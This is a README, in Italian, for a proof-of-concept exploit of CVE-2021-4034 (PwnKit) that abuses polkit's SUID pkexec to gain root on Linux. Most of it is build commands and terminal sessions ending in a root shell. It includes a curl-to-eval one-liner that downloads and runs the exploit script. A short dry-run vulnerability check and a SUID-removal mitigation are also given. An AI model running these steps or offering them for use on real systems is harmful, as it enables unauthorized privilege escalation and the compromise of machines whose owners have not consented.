
Exploit proof-of-concept per CVE-2021-4034 (PwnKit) che prende di mira il binario SUID pkexec di polkit per ottenere l'escalation locale dei privilegi a root su sistemi Linux.
Un giorno per l'exploit di escalation dei privilegi di polkit
Basta eseguire make, ./cve-2021-4034 e godersi la shell di root.
L'avviso originale degli autori reali è qui
Se l'exploit funziona, otterrai immediatamente una shell di root:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Aggiornare polkit sulla maggior parte dei sistemi correggherà l'exploit, pertanto otterrai l'uso e il programma uscirà:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Per non eseguire una shell ma solo testare se il sistema è vulnerabile, compila il target dry-run.
Se il programma termina stampando "root", significa che il tuo sistema è vulnerabile all'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Se il sistema non è vulnerabile, stampa un errore ed esce.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (precedentemente PolicyKit) è un componente per il controllo dei privilegi a livello di sistema nei sistemi operativi Unix-like. Fornisce un modo organizzato per i processi non privilegiati di comunicare con processi privilegiati. È anche possibile usare polkit per eseguire comandi con privilegi elevati usando il comando pkexec seguito dal comando che si intende eseguire (con permessi di root).
Puoi facilmente sfruttare il sistema usando un singolo script, scaricabile ed eseguibile con questo comando:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Se non sono disponibili patch per il tuo sistema operativo, puoi rimuovere il bit SUID da pkexec come mitigazione temporanea.
# chmod 0755 /usr/bin/pkexec
L'exploit fallirà lamentando che pkexec deve avere il bit setuid abilitato.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root